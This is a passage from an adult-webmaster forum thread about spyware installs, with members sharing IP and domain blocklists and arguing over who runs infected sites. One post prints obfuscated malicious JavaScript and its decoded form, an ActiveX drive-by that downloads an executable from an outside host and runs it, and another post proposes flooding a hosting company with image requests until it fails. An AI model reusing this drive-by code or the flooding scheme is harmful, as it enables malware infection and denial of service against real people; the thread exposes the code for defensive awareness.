Spyware is Killing our industry. Proof inside! Long Thread and VIDEO

Collapse
X
 
  • Time
  • Show
Clear All
new posts
  • darnit
    Confirmed User
    • Jul 2001
    • 2439

    #51
    50 scamming fucktards.

    Originally posted by Yngwie
    I'm doing what I can to make people more aware. My tgp is not high in traffic, but everything helps. http://www.youngchickz.com/
    Bingo! This is what we can do to help. The progams may contol the money but the affiliates control the traffic. We are the front line for educating and protecting our surfers.

    I would also say it would go a long way towards instilling good will if program owners emailed their members about ways to protect themselves as well...

    Comment

    • Huggles
      GFY'S #1 retard
      • Feb 2003
      • 12511

      #52
      Originally posted by will76
      what are talking about ? wrong thread maybe? I never accussed DH of doing illegal installs, find me a post where I said that. All I pointed out was his attitude, where he said if it was legal he didn't care and where HE said he would sell traffic to people doing (legal) installs. Unfortunetly, zango and companies like them are legal untill the laws catch up with technology.

      "Fuck the missinformed".
      Sorry I was hung over when I wrote that and didn't have my head on straight


      No, what I meant was, did you ever SEE what installs DH was promoting on his P2Pads.com network?


      I kinda see it as a conflict of interest, personally. How can you sell traffic to people with a straight face if you are allowing Zango installs on your network? Basically helping your customers on one end lose money because of Zango hijacks, but profiting off of Zango hijacking your other customer's browsers?


      Although I doubt DH would do Zango installs because of this, that's why I'm asking YOU Will76 if you had any proof of what DH was installing? I know he admitted to profiting off of doing installs on p2pads.com but nobody has any clue as far as I know about WHAT installs he was doing?
      https://3-veo.com/
      The best AI video maker portal.

      Comment

      • kektex
        Confirmed User
        • Mar 2005
        • 1813

        #53
        Could this problem be solved by not trading with any of the offending domain registrars/hosts?
        Someone should set up a blacklist of domains/IPs...maybe even trade scripts could implement this.
        exgfmovies.com, exgfclips.com, datesx.com, gayboards.com and more!

        Comment

        • Yngwie
          I am an Alien from space
          • May 2003
          • 11118

          #54
          Originally posted by kektex
          Could this problem be solved by not trading with any of the offending domain registrars/hosts?
          Someone should set up a blacklist of domains/IPs...maybe even trade scripts could implement this.
          it may help, but it will not solve the problem, unfortunately.
          ICQ: 16544251 - Skype: gator37 @ eastlink.ca - email: yngwie @ isys.ca

          Comment

          • will76
            Making $$$$ w/ ClickCash
            • May 2003
            • 18037

            #55
            Originally posted by Huggles
            Sorry I was hung over when I wrote that and didn't have my head on straight


            No, what I meant was, did you ever SEE what installs DH was promoting on his P2Pads.com network?


            I kinda see it as a conflict of interest, personally. How can you sell traffic to people with a straight face if you are allowing Zango installs on your network? Basically helping your customers on one end lose money because of Zango hijacks, but profiting off of Zango hijacking your other customer's browsers?


            Although I doubt DH would do Zango installs because of this, that's why I'm asking YOU Will76 if you had any proof of what DH was installing? I know he admitted to profiting off of doing installs on p2pads.com but nobody has any clue as far as I know about WHAT installs he was doing?
            no and he would never disclouse that info, even after asked several times. I went as far as to ask him if he could name a couple "adware" companies that he thought were "ok". Not real adware like google, but "adware" companies, not like google would pay him anyway. He wouldn't even mention any adware companies muchless ones that he did business with.... He claims he never sold traffic for zango installs but I guess you have to take his word on that.
            ICQ: 86364801 Email: will [at] innovativeassets [dot] com

            PROGRAM SHIT LIST - DO NOT PROMOTE (click link for gfy thread)
            FNCash | Media Revenue

            Comment

            • hjnet
              Confirmed User
              • May 2002
              • 3815

              #56
              I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

              So when a new trade signs up the first thing I'm doing is to search for "domain.com" in google, most of the time somebody else had a problem with them already and posted the domain in some boards cheater section, so you can easily check that through google.
              Next I'm checking his registrar at http://whois.domaintools.com, if it's ESTDOMAINS I'm having a new IP to blacklist.

              And I've added the following server IP ranges to my blacklist:
              74.52.6.43
              66.29.35.37
              216.255.189.123
              216.255.189
              70.84.80.50
              216.240.149.117
              74.52.6
              66.29.35
              216.255.189
              70.84.80
              216.255.178
              216.240.149
              67.15.187.2
              72.232.215.76
              216.255.176.124
              216.255.176
              74.52.6.43
              216.255.178.52
              216.255.178.60
              216.255.178
              72.232.194.58
              72.232.215.74
              72.232.215.77
              209.8.19.242
              209.51.132.202
              91.192.117.46
              69.50.160
              69.50.161
              69.50.162
              69.50.163
              69.50.164
              69.50.165
              69.50.166
              69.50.167
              69.50.168
              69.50.169
              69.50.170
              69.50.171
              69.50.172
              69.50.173
              69.50.174
              69.50.175
              69.50.176
              69.50.177
              69.50.178
              69.50.179
              69.50.180
              69.50.181
              69.50.182
              69.50.183
              69.50.184
              69.50.185
              69.50.186
              69.50.187
              69.50.188
              69.50.189
              69.50.190
              69.50.191
              85.255.112
              85.255.113
              85.255.114
              85.255.115
              85.255.116
              85.255.117
              85.255.118
              85.255.119
              85.255.120
              85.255.121
              85.255.122
              85.255.123
              85.255.124
              85.255.125
              85.255.126
              85.255.127
              72.55.148.87
              88.85.81.195

              And webmaster IPs:
              88.151.106.252
              81.169.235.6
              70.84.80.50
              83.188.23.87
              81.169.224.98
              83.69.20.130
              81.169.234.219
              69.166.67.221
              91.192.117.46
              72.232.65.178
              64.151.36.201
              86.57.128.201
              91.124.155.94

              And domains:
              shyteenies.com
              mashathumbs.com
              sexgall.net
              hotdailynudes.com
              yourthumbnails.com
              asianscity.com
              xxxdesert.com
              startfreevideo.com
              tgpporn.net
              100freegalls.com
              fuckingcraft.org
              extrablow.com
              brothervids.com
              onlinesexmovie.net
              pjunkie.net
              perky-teenies.com
              sappypussy.com
              dullworld.com
              pinkyteenies.com
              hardsaloon.com
              pushpussy.com
              teensseduction.com
              angelsvids.com
              chickswar.com
              mixteenies.com
              smokyvids.com
              teensinlaw.com
              good-teens.com
              try-girls.com
              pinkypussies.com
              sexymovs.com
              youngperfection.net
              mpeggalls.com
              lookmycunt.com
              girlsrussian.net
              pornstarocean.com
              lovelyteenvids.com
              porn-cinema.net
              need4pornvids.com

              The server IPs cover a wide range of INHOSTERS, ATRIVO and INTERCAGE, since I'm using that I didn't had any further problem with these guys, so I suggest that everybody uses these IP ranges as a temporary addition to their blacklist.

              Comment

              • Bloomer
                So Fucking Banned
                • Mar 2007
                • 654

                #57

                Comment

                • Yngwie
                  I am an Alien from space
                  • May 2003
                  • 11118

                  #58
                  Originally posted by hjnet
                  I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

                  So when a new trade signs up the first thing I'm doing is to search for "domain.com" in google, most of the time somebody else had a problem with them already and posted the domain in some boards cheater section, so you can easily check that through google.
                  Next I'm checking his registrar at http://whois.domaintools.com, if it's ESTDOMAINS I'm having a new IP to blacklist.

                  And I've added the following server IP ranges to my blacklist:
                  74.52.6.43
                  66.29.35.37
                  216.255.189.123
                  216.255.189
                  70.84.80.50
                  216.240.149.117
                  74.52.6
                  66.29.35
                  216.255.189
                  70.84.80
                  216.255.178
                  216.240.149
                  67.15.187.2
                  72.232.215.76
                  216.255.176.124
                  216.255.176
                  74.52.6.43
                  216.255.178.52
                  216.255.178.60
                  216.255.178
                  72.232.194.58
                  72.232.215.74
                  72.232.215.77
                  209.8.19.242
                  209.51.132.202
                  91.192.117.46
                  69.50.160
                  69.50.161
                  69.50.162
                  69.50.163
                  69.50.164
                  69.50.165
                  69.50.166
                  69.50.167
                  69.50.168
                  69.50.169
                  69.50.170
                  69.50.171
                  69.50.172
                  69.50.173
                  69.50.174
                  69.50.175
                  69.50.176
                  69.50.177
                  69.50.178
                  69.50.179
                  69.50.180
                  69.50.181
                  69.50.182
                  69.50.183
                  69.50.184
                  69.50.185
                  69.50.186
                  69.50.187
                  69.50.188
                  69.50.189
                  69.50.190
                  69.50.191
                  85.255.112
                  85.255.113
                  85.255.114
                  85.255.115
                  85.255.116
                  85.255.117
                  85.255.118
                  85.255.119
                  85.255.120
                  85.255.121
                  85.255.122
                  85.255.123
                  85.255.124
                  85.255.125
                  85.255.126
                  85.255.127
                  72.55.148.87
                  88.85.81.195

                  And webmaster IPs:
                  88.151.106.252
                  81.169.235.6
                  70.84.80.50
                  83.188.23.87
                  81.169.224.98
                  83.69.20.130
                  81.169.234.219
                  69.166.67.221
                  91.192.117.46
                  72.232.65.178
                  64.151.36.201
                  86.57.128.201
                  91.124.155.94

                  And domains:
                  shyteenies.com
                  mashathumbs.com
                  sexgall.net
                  hotdailynudes.com
                  yourthumbnails.com
                  asianscity.com
                  xxxdesert.com
                  startfreevideo.com
                  tgpporn.net
                  100freegalls.com
                  fuckingcraft.org
                  extrablow.com
                  brothervids.com
                  onlinesexmovie.net
                  pjunkie.net
                  perky-teenies.com
                  sappypussy.com
                  dullworld.com
                  pinkyteenies.com
                  hardsaloon.com
                  pushpussy.com
                  teensseduction.com
                  angelsvids.com
                  chickswar.com
                  mixteenies.com
                  smokyvids.com
                  teensinlaw.com
                  good-teens.com
                  try-girls.com
                  pinkypussies.com
                  sexymovs.com
                  youngperfection.net
                  mpeggalls.com
                  lookmycunt.com
                  girlsrussian.net
                  pornstarocean.com
                  lovelyteenvids.com
                  porn-cinema.net
                  need4pornvids.com

                  The server IPs cover a wide range of INHOSTERS, ATRIVO and INTERCAGE, since I'm using that I didn't had any further problem with these guys, so I suggest that everybody uses these IP ranges as a temporary addition to their blacklist.
                  what are the namerservers for those hosts? I can add name servers to the ban list in the tgp script I'm using.
                  ICQ: 16544251 - Skype: gator37 @ eastlink.ca - email: yngwie @ isys.ca

                  Comment

                  • Yngwie
                    I am an Alien from space
                    • May 2003
                    • 11118

                    #59
                    scrap my last question. I found the nameservers.
                    ICQ: 16544251 - Skype: gator37 @ eastlink.ca - email: yngwie @ isys.ca

                    Comment

                    • tolik
                      Confirmed User
                      • Jun 2001
                      • 2035

                      #60
                      interesting reading
                      LONGBUCKS-Teen, Mature, Reality, Gay sites.
                      Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                      Webmaster friendly high recommended programs to promote (personal experience):
                      RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                      Comment

                      • Bloomer
                        So Fucking Banned
                        • Mar 2007
                        • 654

                        #61
                        Originally posted by Yngwie
                        scrap my last question. I found the nameservers.
                        /what method did you use to find them with?

                        Comment

                        • tolik
                          Confirmed User
                          • Jun 2001
                          • 2035

                          #62
                          Originally posted by Bloomer
                          /what method did you use to find them with?
                          does whois not showing them anymore?
                          LONGBUCKS-Teen, Mature, Reality, Gay sites.
                          Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                          Webmaster friendly high recommended programs to promote (personal experience):
                          RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                          Comment

                          • u-Bob
                            there's no $$$ in porn
                            • Jul 2005
                            • 33063

                            #63
                            Originally posted by hjnet
                            I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

                            Comment

                            • Bloomer
                              So Fucking Banned
                              • Mar 2007
                              • 654

                              #64
                              Originally posted by tolik
                              does whois not showing them anymore?
                              sorry can you post a few links to?

                              Comment

                              • kektex
                                Confirmed User
                                • Mar 2005
                                • 1813

                                #65
                                Like u-bob said, the ESTHOSTERS and ESTDOMAINS guys post here...post a request for hosting spam and watch them jump in the thread.
                                After looking at the domains used by these people I think 80% of the problem would be solved by looking up the registrar or host before accepting the trade.
                                It shouldn´t be too hard to write a quick script that will check wether the trade is hosted with the offending hoster or the domain is registered with them.
                                exgfmovies.com, exgfclips.com, datesx.com, gayboards.com and more!

                                Comment

                                • superdio
                                  Confirmed User
                                  • Jun 2005
                                  • 133

                                  #66
                                  Originally posted by kektex
                                  It shouldn´t be too hard to write a quick script that will check wether the trade is hosted with the offending hoster or the domain is registered with them.
                                  Something like this ?

                                  http://ihave.bushiq.com/cgi-bin/estdomains.cgi
                                  -
                                  Benito

                                  Comment

                                  • u-Bob
                                    there's no $$$ in porn
                                    • Jul 2005
                                    • 33063

                                    #67
                                    superdio: might wanna add cernel.net to that list. It's another one of those fake hosting companies used by scammers/thieves.

                                    Comment

                                    • hjnet
                                      Confirmed User
                                      • May 2002
                                      • 3815

                                      #68
                                      Originally posted by superdio
                                      Nice, I was thinking to write something myself, but as you already did it I might suggest to add a feature to check domains in bulk. Cause it would be great if someone could just copy/paste all his trades into your script, and have them checked at once

                                      Comment

                                      • hjnet
                                        Confirmed User
                                        • May 2002
                                        • 3815

                                        #69
                                        Originally posted by Bloomer
                                        /what method did you use to find them with?
                                        I.e. http://whois.domaintools.com/porn-cinema.net shows the nameservers (NS1&2.PORNSTAR-SITE.NET) for porn-cinema.net (I've just taken a random one from my blacklist).

                                        Unfortunately these guys use quite many nameservers, so blocking their server IP ranges was the most effective solution on my side. There are still 2-3 signup attempts from these giys to our sites each day, but the IP blacklisting blocks them

                                        Comment

                                        • hjnet
                                          Confirmed User
                                          • May 2002
                                          • 3815

                                          #70
                                          We should have added some naked chicks to the first post(s), to get more bumps

                                          Making it Sticky would also be great

                                          Comment

                                          • Quickdraw
                                            Confirmed User
                                            • Mar 2004
                                            • 1717

                                            #71
                                            So I went to triplexporn.org which links/trades to top-amateur.com and on top-amateur.com there is a popup to nichetgp.com. Nichetgp and top-amateur are owned by the same individual.
                                            On nichetgp.com is this code
                                            Code:
                                            eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%73%72%63%3d%68%74%74%70%3a%2f%2f%63%6f%64%65%63%73%6f%66%74%2e%6e%65%74%2f%73%74%72%6f%6e%67%2f%30%36%34%2f%20%77%69%64%74%68%3d%31%20%68%65%69%67%68%74%3d%31%3e%3c%2f%69%66%72%61%6d%65%3e%27%29%3b'));
                                            which converts to
                                            iframe src=http-//codecsoft.net/strong/064/ width=1 height=1></iframe
                                             and
                                            codecsoft.net/adv/new.php?adv=64 width=1 height=1  with more obfuscated code
                                            Now codecsoft.net has this code
                                            Code:
                                            document.write(unescape("%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%73%74%79%6c%65%3e%20%2a%20%7b%43%55%52%53%4f%52%3a%20%75%72%6c%28%22%31%32%33%2e%68%74%6d%22%29%7d%20%3c%2f%73%74%79%6c%65%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%31%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%32%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%33%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%3c%69%66%72%61%6d%65%20%73%72%63%3d%22%65%78%70%34%2e%68%74%6d%22%20%77%69%64%74%68%3d%22%31%22%20%68%65%69%67%68%74%3d%22%31%22%3e%3c%2f%69%66%72%61%6d%65%3e
                                            which translates to
                                            document.write(unescape(\"// ? ¬¥haâ ਩ ha å :) -->
                                            <style> * {CURSOR: url("123.htm")} </style>
                                            <iframe src="exp1.htm" width="1" height="1"></iframe>
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            <iframe src="exp2.htm" width="1" height="1"></iframe>
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            <iframe src="exp3.htm" width="1" height="1"></iframe>
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            <iframe src="exp4.htm" width="1" height="1"></iframe>
                                            exp1.htm contains this code
                                            Code:
                                            document.write(unescape("%3c%73%63%72%69%70%74%20%6c%61%6e%67%75%61%67%65%3d%22%4a%61%76%61%53%63%72%69%70%74%22%3e%20%0a%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%76%61%72%20%78%6e%61%6d%65%3d%27%6f%62%27%2b%27%6a%27%3b%0a%76%61%72%20%6f%62%6a%5f%52%44%53%20%3d%20%64%6f%63%75%6d%65%6e%74%2e%63%72%65%61%74%65%45%6c%65%6d%65%6e%74%28%78%6e%61%6d%65%2b%27%65%63%74%27%29%3b%0a%76%61%72%20%69%64%73%3d%27%69%27%2b%27%64%27%3b%0a%76%61%72%20%78%72%64%73%3d%27%52%27%2b%27%44%53%27%3b%0a%6f%62%6a%5f%52%44%53%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%69%64%73%2c%27%6f%62%6a%5f%27%2b%78%72%64%73%29%3b%0a%0a%76%61%72%20%63%6c%73%5f%69%64%31%3d%27%63%6c%27%2b%27%73%69%27%2b%27%64%3a%42%44%27%2b%27%39%36%43%35%27%3b%0a%76%61%72%20%63%6c%73%5f%69%64%32%3d%27%35%36%27%2b%27%2d%36%35%27%2b%27%41%33%2d%31%31%27%2b%27%44%30%2d%39%38%33%41%27%2b%27%2d%30%30%43%30%34%27%2b%27%46%43%32%39%45%33%36%27%3b%0a%6f%62%6a%5f%52%44%53%2e%73%65%74%41%74%74%72%69%62%75%74%65%28%27%63%6c%61%73%73%69%64%27%2c%63%6c%73%5f%69%64%31%2b%63%6c%73%5f%69%64%32%29%3b%0a%0a%76%61%72%20%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%30%3b%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%76%61%72%20%78%6e%61%6d%65%5f%73%74%72%3d%22%61%64%22%2b%22%6f%64%62%2e%73%22%2b%22%74%72%65%61%6d%22%3b%0a%74%72%79%20%7b%20%76%61%72%20%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%6f%62%6a%5f%52%44%53%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%78%6e%61%6d%65%5f%73%74%72%2c%22%22%29%3b%20%0a%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%31%3b%20%7d%20%63%61%74%63%68%28%65%29%7b%7d%20%69%66%20%28%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%21%3d%20%31%29%20%0a%7b%20%74%72%79%20%7b%20%76%61%72%20%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%78%6e%61%6d%65%5f%73%74%72%29%3b%20%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%20%31%3b%20%7d%20%63%61%74%63%68%28%65%29%7b%7d%20%7d%20%0a%69%66%20%28%69%73%5f%5f%6f%62%6a%5f%61%64%6f%64%62%20%3d%3d%20%31%29%20%7b%20%74%72%79%20%7b%20%0a%76%61%72%20%61%70%70%6c%5f%3d%22%53%68%22%2b%22%65%6c%22%2b%22%6c%2e%41%70%70%22%2b%22%6c%69%63%61%22%2b%22%74%69%6f%6e%22%3b%0a%76%61%72%20%6f%62%6a%5f%53%68%65%6c%6c%41%70%70%20%3d%20%6f%62%6a%5f%52%44%53%2e%43%72%65%61%74%65%4f%62%6a%65%63%74%28%61%70%70%6c%5f%2c%22%22%29%3b%0a%76%61%72%20%78%6d%6c%5f%6e%61%6d%65%3d%22%6d%73%22%2b%22%78%6d%22%2b%22%6c%32%2e%58%22%2b%22%4d%4c%48%22%2b%22%54%54%50%22%3b%0a%76%61%72%20%6f%62%6a%5f%6d%73%78%6d%6c%32%20%3d%20%6e%65%77%20%41%63%74%69%76%65%58%4f%62%6a%65%63%74%28%78%6d%6c%5f%6e%61%6d%65%29%3b%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%6f%62%6a%5f%6d%73%78%6d%6c%32%2e%6f%70%65%6e%28%22%47%22%2b%22%45%54%22%2c%22%68%74%74%70%3a%2f%2f%63%6f%64%65%63%73%6f%66%74%2e%6e%65%74%2f%61%64%76%2f%30%36%34%2f%77%69%6e%33%32%2e%65%78%65%22%2c%66%61%6c%73%65%29%3b%20%0a%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%0a%6f%62%6a%5f%6d%73%78%6d%6c%32%2e%73%65%6e%64%28%29%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%74%79%70%65%20%3d%20%31%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%6f%70%65%6e%28%29%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%57%72%69%74%65%28%6f%62%6a%5f%6d%73%78%6d%6c%32%2e%72%65%73%70%6f%6e%73%65%42%6f%64%79%29%3b%20%0a%0a%2f%2f%20%8a%a0%ac%a5%ad%e2%a0%e0%a8%a9%20%ad%a0%e5%20%3a%29%20%2d%2d%3e%0a%0a%76%61%72%20%66%6e%20%3d%20%22%43%3a%5c%5c%78%78%31%32%33%32%32%35%35%22%2b%22%2e%65%22%2b%22%78%65%22%3b%20%6f%62%6a%5f%61%64%6f%64%62%2e%53%61%76%65%54%6f%46%69%6c%65%28%66%6e%2c%32%29%3b%20%0a%6f%62%6a%5f%61%64%6f%64%62%2e%63%6c%6f%73%65%28%29%3b%20%6f%62%6a%5f%53%68%65%6c%6c%41%70%70%2e%53%68%65%6c%6c%45%78%65%63%75%74%65%28%66%6e%29%3b%20%7d%20%63%61%74%63%68%28%65%29%7b%7d%20%7d%20%3c%2f%73%63%72%69%70%74%3e"));
                                            which translates to
                                            document.write(unescape(\"<script language="JavaScript"> 
                                            
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            var xname='ob' 'j';
                                            var obj_RDS = document.createElement(xname 'ect');
                                            var ids='i' 'd';
                                            var xrds='R' 'DS';
                                            obj_RDS.setAttribute(ids,'obj_' xrds);
                                            
                                            var cls_id1='cl' 'si' 'd:BD' '96C5';
                                            var cls_id2='56' '-65' 'A3-11' 'D0-983A' '-00C04' 'FC29E36';
                                            obj_RDS.setAttribute('classid',cls_id1 cls_id2);
                                            
                                            var is__obj_adodb = 0;
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            var xname_str="ad" "odb.s" "tream";
                                            try { var obj_adodb = obj_RDS.CreateObject(xname_str,""); 
                                            is__obj_adodb = 1; } catch(e){} if (is__obj_adodb != 1) 
                                            { try { var obj_adodb = new ActiveXObject(xname_str); is__obj_adodb = 1; } catch(e){} } 
                                            if (is__obj_adodb == 1) { try { 
                                            var appl_="Sh" "el" "l.App" "lica" "tion";
                                            var obj_ShellApp = obj_RDS.CreateObject(appl_,"");
                                            var xml_name="ms" "xm" "l2.X" "MLH" "TTP";
                                            var obj_msxml2 = new ActiveXObject(xml_name);
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            obj_msxml2.open("G" "ET","http---codecsoft.net/adv/064/win32.exe",false); 
                                            
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            
                                            obj_msxml2.send(); 
                                            obj_adodb.type = 1; 
                                            obj_adodb.open(); 
                                            obj_adodb.Write(obj_msxml2.responseBody); 
                                            
                                            // ? ¬¥haâ ਩ ha å :) -->
                                            
                                            var fn = "C:\\xx1232255" ".e" "xe"; obj_adodb.SaveToFile(fn,2); 
                                            obj_adodb.close(); obj_ShellApp.ShellExecute(fn); } catch(e){} } </script>\"));

                                            Comment

                                            • Quickdraw
                                              Confirmed User
                                              • Mar 2004
                                              • 1717

                                              #72
                                              triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
                                              also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code--
                                              Code:
                                              language="Javascript"> if (top.location != self.location) { top.location = 'http---www.erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo'; } //-->
                                              which contains a popup to--
                                              nichetgp.com/amateur/in.cgi?a=340
                                              which contains the code(win32.exe) explained above

                                              Comment

                                              • joy
                                                Registered User
                                                • Jan 2003
                                                • 97

                                                #73
                                                Originally posted by Quickdraw
                                                triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
                                                also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code--

                                                Code:
                                                language="Javascript"> if (top.location != self.location) { top.location = 'http---www.erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo'; } //-->
                                                which contains a popup to--
                                                nichetgp.com/amateur/in.cgi?a=340
                                                which contains the code(win32.exe) explained above
                                                Incase anyone misses that

                                                Comment

                                                • Snake Doctor
                                                  I'm Lenny2 Bitch
                                                  • Mar 2001
                                                  • 13449

                                                  #74
                                                  Why don't we img src the fuck out of these people?

                                                  I know The Hun used to do that when someone stole his shit/copied his page....img src them until their server melted.

                                                  I'm sure all of us collectively could bring down an entire hosting company if we really wanted to. Why not IMG SRC all of the domains on all of our high traffic pages until his host shuts his account off?
                                                  sig too big

                                                  Comment

                                                  • tolik
                                                    Confirmed User
                                                    • Jun 2001
                                                    • 2035

                                                    #75
                                                    congrats you two lame losers. original full line of code:

                                                    <script language="Javascript">
                                                    document.write('<img src="cgi-bin/counter2.pl?' + inc + '" style="visibility:none" height="0" width="0">');
                                                    </script>

                                                    now explain me how img src redirect traffic?
                                                    LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                    Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                    Webmaster friendly high recommended programs to promote (personal experience):
                                                    RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                    Comment

                                                    • tolik
                                                      Confirmed User
                                                      • Jun 2001
                                                      • 2035

                                                      #76
                                                      Originally posted by porno jew
                                                      one more thing - "tolik" account name - not my account name at fpctraffic.
                                                      LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                      Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                      Webmaster friendly high recommended programs to promote (personal experience):
                                                      RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                      Comment

                                                      • tolik
                                                        Confirmed User
                                                        • Jun 2001
                                                        • 2035

                                                        #77
                                                        Originally posted by Quickdraw
                                                        triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
                                                        also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code--
                                                        Code:
                                                        language="Javascript"> if (top.location != self.location) { top.location = 'http---www.erotiqsex.com/cgi-bin/td/tfr.pl?act=out&acc=topyo'; } //-->
                                                        which contains a popup to--
                                                        nichetgp.com/amateur/in.cgi?a=340
                                                        which contains the code(win32.exe) explained above
                                                        Registrant Organization:UltraHoster
                                                        this company registering domain under esthost. does not see any problem here. i have all my domains at same place for years. and i does not force anyone to trade width me. dont like - dont trade. anyway most time i trading with same people for years.
                                                        LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                        Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                        Webmaster friendly high recommended programs to promote (personal experience):
                                                        RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                        Comment

                                                        • Quickdraw
                                                          Confirmed User
                                                          • Mar 2004
                                                          • 1717

                                                          #78
                                                          Originally posted by tolik
                                                          congrats you two lame losers. original full line of code:

                                                          <script language="Javascript">
                                                          document.write('<img src="cgi-bin/counter2.pl?' + inc + '" style="visibility:none" height="0" width="0">');
                                                          </script>

                                                          now explain me how img src redirect traffic?
                                                          who said it redirects traffic?

                                                          Comment

                                                          • c-lo
                                                            Confirmed User
                                                            • May 2005
                                                            • 925

                                                            #79
                                                            Originally posted by hjnet
                                                            I simply check every new trade domain if it's registered with ESTDOMAINS, and if so I'm adding it to my blacklist. Quite often they're also hosted at either ATRIVO, INHOSTERS or INTERCAGE.

                                                            And I've added the following server IP ranges to my blacklist...
                                                            Thanks man, added em to my blacklist!

                                                            later
                                                            c-lo
                                                            The AlphaPhaze Network
                                                            Traffic & Hardlink Trades | Sponsors | Resources
                                                            The adult marketing network you can trust

                                                            Comment

                                                            • tolik
                                                              Confirmed User
                                                              • Jun 2001
                                                              • 2035

                                                              #80
                                                              Originally posted by Quickdraw
                                                              who said it redirects traffic?
                                                              triplexporn.org(an ESTDOMAIN) came from Tolik's sig btw.
                                                              also on triplexporn is a javascript that includes /cgi-bin/counter2.pl which has this code-- blablabla

                                                              who care what code have img src what wroting 0*0 image at bottom of page?

                                                              and i cannot get at all where you get and for what this at all frame/iframe breaking code what you posted?

                                                              and also - for what this here:
                                                              _____________________________
                                                              which contains a popup to--
                                                              nichetgp.com/amateur/in.cgi?a=340
                                                              _____________________________

                                                              i never traded or have a links to this site.
                                                              if some toplist open this link for some countries - not for me or i have popup blockers on.

                                                              cannot understand what relation this have to me?
                                                              LONGBUCKS-Teen, Mature, Reality, Gay sites.
                                                              Free hosting (cgi/php/mysql/cron etc). FHGs. Free content.Great rebills. Support icq - 313-882-945


                                                              Webmaster friendly high recommended programs to promote (personal experience):
                                                              RoyalCash-Teen ProfitX -Video SmokinCash-Amateur,Lesbo,Squirting

                                                              Comment

                                                              • Quickdraw
                                                                Confirmed User
